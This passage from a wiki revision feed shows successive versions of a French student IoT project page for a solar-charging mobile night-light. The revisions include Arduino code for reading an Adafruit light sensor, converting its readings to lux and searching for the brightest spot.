==Détail du travail de la deuxième séance==&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0, rawValue, maxValue=0, marge = 50;&lt;br /&gt;
boolean firstSearch = false, searchAgain = false, keepMoving;&lt;br /&gt;
&lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); &lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  while (firstSearch == false || searchAgain == true)&lt;br /&gt;
  {  &lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;gt; maxValue)&lt;br /&gt;
      {&lt;br /&gt;
        maxValue = rawValue;&lt;br /&gt;
      }&lt;br /&gt;
    searchAgain = false, firstSearch = true;&lt;br /&gt;
  }&lt;br /&gt;
  &lt;br /&gt;
  Serial.println(&amp;quot;PAUSE&amp;quot;);&lt;br /&gt;
  //3seconds&lt;br /&gt;
  delay(3000);&lt;br /&gt;
  Serial.println(&amp;quot;WERE BACK&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  do&lt;br /&gt;
  {&lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;lt; maxValue - marge)&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = true;&lt;br /&gt;
    }&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = false;&lt;br /&gt;
    }&lt;br /&gt;
    Serial.println(keepMoving);&lt;br /&gt;
   } while (keepMoving == true);&lt;br /&gt;
  &lt;br /&gt;
  //delay(6000);&lt;br /&gt;
  searchAgain = true;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46727</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46727"/>
				<updated>2018-01-09T18:05:51Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Détail du travail de la deuxième séance */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce pour pouvoir charger sa batterie grâce à un chargeur solaire.  &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT. &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Nous allons utiliser un Mindstorm pour la plateforme mobile sur lequel sera monté des panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de détecter l'endroit le plus lumineux. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux de récupérer de l'énergie et la transmettre à...&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Mindstorm&lt;br /&gt;
* Panneau photovoltaïque &lt;br /&gt;
* capteur de lumière&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | activité : - Formation des groupes&lt;br /&gt;
- Chercher un sujet&lt;br /&gt;
- Le faire valider&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
&lt;br /&gt;
Code pour le capteur de luminosité:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0;    // select the input pin for the potentiometer&lt;br /&gt;
 &lt;br /&gt;
float rawRange = 1024; // 3.3v&lt;br /&gt;
float logRange = 5.0; // 3.3v = 10^5 lux&lt;br /&gt;
 &lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); //&lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
  Serial.println(&amp;quot;Adafruit Analog Light Sensor Test&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  // read the raw value from the sensor:&lt;br /&gt;
  int rawValue = analogRead(sensorPin);    &lt;br /&gt;
  &lt;br /&gt;
  Serial.print(&amp;quot;Raw = &amp;quot;);&lt;br /&gt;
  Serial.print(rawValue);&lt;br /&gt;
  Serial.print(&amp;quot; - Lux = &amp;quot;);&lt;br /&gt;
  Serial.println(RawToLux(rawValue)); &lt;br /&gt;
  delay(1000);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
float RawToLux(int raw)&lt;br /&gt;
{&lt;br /&gt;
  float logLux = raw * logRange / rawRange;&lt;br /&gt;
  return pow(10, logLux);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les valeurs en retour:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Illuminance 	              Example&lt;br /&gt;
0.002 lux 	        Moonless clear night sky&lt;br /&gt;
0.2 lux 	        Design minimum for emergency lighting (AS2293).&lt;br /&gt;
0.27 - 1 lux 	        Full moon on a clear night&lt;br /&gt;
3.4 lux 	        Dark limit of civil twilight under a clear sky&lt;br /&gt;
50 lux 	                Family living room&lt;br /&gt;
80 lux 	                Hallway/toilet&lt;br /&gt;
100 lux 	        Very dark overcast day&lt;br /&gt;
300 - 500 lux 	        Sunrise or sunset on a clear day. Well-lit office area.&lt;br /&gt;
1,000 lux 	        Overcast day; typical TV studio lighting&lt;br /&gt;
10,000 - 25,000  lux 	Full daylight (not direct sun)&lt;br /&gt;
32,000 - 130,000 lux 	Direct sunlight&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
http://www.instructables.com/id/Solar-Battery-Charging/&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0, rawValue, maxValue=0, marge = 50;&lt;br /&gt;
boolean firstSearch = false, searchAgain = false, keepMoving;&lt;br /&gt;
&lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); &lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  while (firstSearch == false || searchAgain == true)&lt;br /&gt;
  {  &lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;gt; maxValue)&lt;br /&gt;
      {&lt;br /&gt;
        maxValue = rawValue;&lt;br /&gt;
      }&lt;br /&gt;
    searchAgain = false, firstSearch = true;&lt;br /&gt;
  }&lt;br /&gt;
  &lt;br /&gt;
  Serial.println(&amp;quot;PAUSE&amp;quot;);&lt;br /&gt;
  //3seconds&lt;br /&gt;
  delay(3000);&lt;br /&gt;
  Serial.println(&amp;quot;WERE BACK&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  do&lt;br /&gt;
  {&lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;lt; maxValue - marge)&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = true;&lt;br /&gt;
    }&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = false;&lt;br /&gt;
    }&lt;br /&gt;
    Serial.println(keepMoving);&lt;br /&gt;
   } while (keepMoving == true);&lt;br /&gt;
  &lt;br /&gt;
  //delay(6000);&lt;br /&gt;
  searchAgain = true;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46710</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46710"/>
				<updated>2018-01-08T17:52:43Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Détail du travail de la première séance */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce pour pouvoir charger sa batterie grâce à un chargeur solaire.  &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT. &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Nous allons utiliser un Mindstorm pour la plateforme mobile sur lequel sera monté des panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de détecter l'endroit le plus lumineux. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux de récupérer de l'énergie et la transmettre à...&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Mindstorm&lt;br /&gt;
* Panneau photovoltaïque &lt;br /&gt;
* capteur de lumière&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | activité : - Formation des groupes&lt;br /&gt;
- Chercher un sujet&lt;br /&gt;
- Le faire valider&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
&lt;br /&gt;
Code pour le capteur de luminosité:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0;    // select the input pin for the potentiometer&lt;br /&gt;
 &lt;br /&gt;
float rawRange = 1024; // 3.3v&lt;br /&gt;
float logRange = 5.0; // 3.3v = 10^5 lux&lt;br /&gt;
 &lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); //&lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
  Serial.println(&amp;quot;Adafruit Analog Light Sensor Test&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  // read the raw value from the sensor:&lt;br /&gt;
  int rawValue = analogRead(sensorPin);    &lt;br /&gt;
  &lt;br /&gt;
  Serial.print(&amp;quot;Raw = &amp;quot;);&lt;br /&gt;
  Serial.print(rawValue);&lt;br /&gt;
  Serial.print(&amp;quot; - Lux = &amp;quot;);&lt;br /&gt;
  Serial.println(RawToLux(rawValue)); &lt;br /&gt;
  delay(1000);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
float RawToLux(int raw)&lt;br /&gt;
{&lt;br /&gt;
  float logLux = raw * logRange / rawRange;&lt;br /&gt;
  return pow(10, logLux);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les valeurs en retour:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Illuminance 	              Example&lt;br /&gt;
0.002 lux 	        Moonless clear night sky&lt;br /&gt;
0.2 lux 	        Design minimum for emergency lighting (AS2293).&lt;br /&gt;
0.27 - 1 lux 	        Full moon on a clear night&lt;br /&gt;
3.4 lux 	        Dark limit of civil twilight under a clear sky&lt;br /&gt;
50 lux 	                Family living room&lt;br /&gt;
80 lux 	                Hallway/toilet&lt;br /&gt;
100 lux 	        Very dark overcast day&lt;br /&gt;
300 - 500 lux 	        Sunrise or sunset on a clear day. Well-lit office area.&lt;br /&gt;
1,000 lux 	        Overcast day; typical TV studio lighting&lt;br /&gt;
10,000 - 25,000  lux 	Full daylight (not direct sun)&lt;br /&gt;
32,000 - 130,000 lux 	Direct sunlight&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
http://www.instructables.com/id/Solar-Battery-Charging/&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46705</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46705"/>
				<updated>2018-01-08T17:24:29Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Détail du travail de la deuxième séance */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce pour pouvoir charger sa batterie grâce à un chargeur solaire.  &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT. &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Nous allons utiliser un Mindstorm pour la plateforme mobile sur lequel sera monté des panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de détecter l'endroit le plus lumineux. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux de récupérer de l'énergie et la transmettre à...&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Mindstorm&lt;br /&gt;
* Panneau photovoltaïque &lt;br /&gt;
* capteur de lumière&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | activité : - Formation des groupes&lt;br /&gt;
- Chercher un sujet&lt;br /&gt;
- Le faire valider&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
Exemple d'inclusion d'image :&lt;br /&gt;
[[Fichier:2017_IOT_P0_circuit.png|center|400px|Un circuit]]&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46704</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46704"/>
				<updated>2018-01-08T17:14:04Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Suivi de réalisation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce pour pouvoir charger sa batterie grâce à un chargeur solaire.  &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT. &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Nous allons utiliser un Mindstorm pour la plateforme mobile sur lequel sera monté des panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de détecter l'endroit le plus lumineux. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux de récupérer de l'énergie et la transmettre à...&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Mindstorm&lt;br /&gt;
* Panneau photovoltaïque &lt;br /&gt;
* capteur de lumière&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | activité : - Formation des groupes&lt;br /&gt;
- Chercher un sujet&lt;br /&gt;
- Le faire valider&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
Exemple d'inclusion d'image :&lt;br /&gt;
[[Fichier:2017_IOT_P0_circuit.png|center|400px|Un circuit]]&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46702</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46702"/>
				<updated>2018-01-08T17:12:20Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Description du projet */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce pour pouvoir charger sa batterie grâce à un chargeur solaire.  &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT. &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Nous allons utiliser un Mindstorm pour la plateforme mobile sur lequel sera monté des panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de détecter l'endroit le plus lumineux. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux de récupérer de l'énergie et la transmettre à...&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Mindstorm&lt;br /&gt;
* Panneau photovoltaïque &lt;br /&gt;
* capteur de lumière&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
Exemple d'inclusion d'image :&lt;br /&gt;
[[Fichier:2017_IOT_P0_circuit.png|center|400px|Un circuit]]&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46700</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46700"/>
				<updated>2018-01-08T17:10:02Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Matériel utilisé */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce pour pouvoir charger sa batterie grâce à un chargeur solaire.  &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT. &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Nous allons utiliser un Mindstorm pour la plateforme mobile sur lequel sera monté des panneaux solaires. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de détecter l'endroit le plus lumineux.&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
